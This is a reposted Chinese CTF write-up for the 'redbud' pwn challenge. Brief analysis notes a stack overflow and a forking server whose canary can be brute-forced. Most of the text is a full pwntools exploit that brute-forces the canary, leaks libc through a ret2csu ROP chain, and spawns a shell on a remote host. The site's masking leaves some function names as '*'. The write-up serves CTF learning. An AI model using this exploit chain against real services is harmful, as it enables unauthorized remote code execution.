欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界PWN之redbud题解

程序员文章站 2022-04-25 23:08:38
...

Redbud

首先,检查一下程序的保护机制

攻防世界PWN之redbud题解

然后,我们用IDA分析一下

攻防世界PWN之redbud题解

在程序的主功能函数里,存在一个明显的栈溢出,由于没有开启PIE,我们很容易做ROP。并且这是一个服务器程序,通过fork子进程来处理我们的请求,因此canary的值我们可以逐字节**。因为只要父进程没有重新启动,canary的值就不会变化,这题和cnss那题是一个道理。

那么,我们直接上exp脚本

#coding:utf8
from pwn import *
from LibcSearcher import *

context.log_level = 'critical'
elf = ELF('./redbud')
write_got = elf.got['write']
csu_pop = 0x403F6A
csu_call = 0x403F50
pop_rdi = 0x403F73
#pop rsi;pop r15;ret
pop_rsi = 0x403F71
#socket建立的文件描述符
fd = 4

def init_connection():
   global sh
   #sh = remote('127.0.0.1',1337)
   sh = remote('111.198.29.45',32664)
def *(payload):
   sh.send('RPCM')
   sh.send(p32(len(payload) + 12,endian = 'big'))
   sh.send(p32(4,endian = 'big'))
   sh.send(payload)

init_connection()
#**canary
canary = ''
while len(canary) < 8:
   for x in range(0xFF):
      init_connection()
      *('a'*0x1008 + canary + p8(x))
      try:
         sh.recvuntil('RPCN')
         sh.recv(8)
      except:
         sh.close()
         continue
      canary += p8(x)
      print 'canary=',canary
      break;

canary = u64(canary)
print 'canary=',hex(canary)
rop = p64(csu_pop)
#rbx,rbp
rop += p64(0) + p64(1)
#r12
rop += p64(write_got)
#r13 r14 r15
rop += p64(0x8) + p64(write_got) + p64(fd)
rop += p64(csu_call)
payload = 'a'*0x1008 + p64(canary) + 'a'*0x28 + rop
init_connection()
*(payload)
#泄露write函数地址
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
dup2_addr = libc_base + libc.dump('dup2')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)

#getshell
#dup2(fd,0)
rop = p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(0) * 2 + p64(dup2_addr)
#dup2(fd,1)
rop += p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(1) * 2 + p64(dup2_addr)
#system('/bin/sh')
rop += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

payload = 'a'*0x1008 + p64(canary) + 'a'*0x28 + rop
init_connection()
*(payload)


sh.interactive()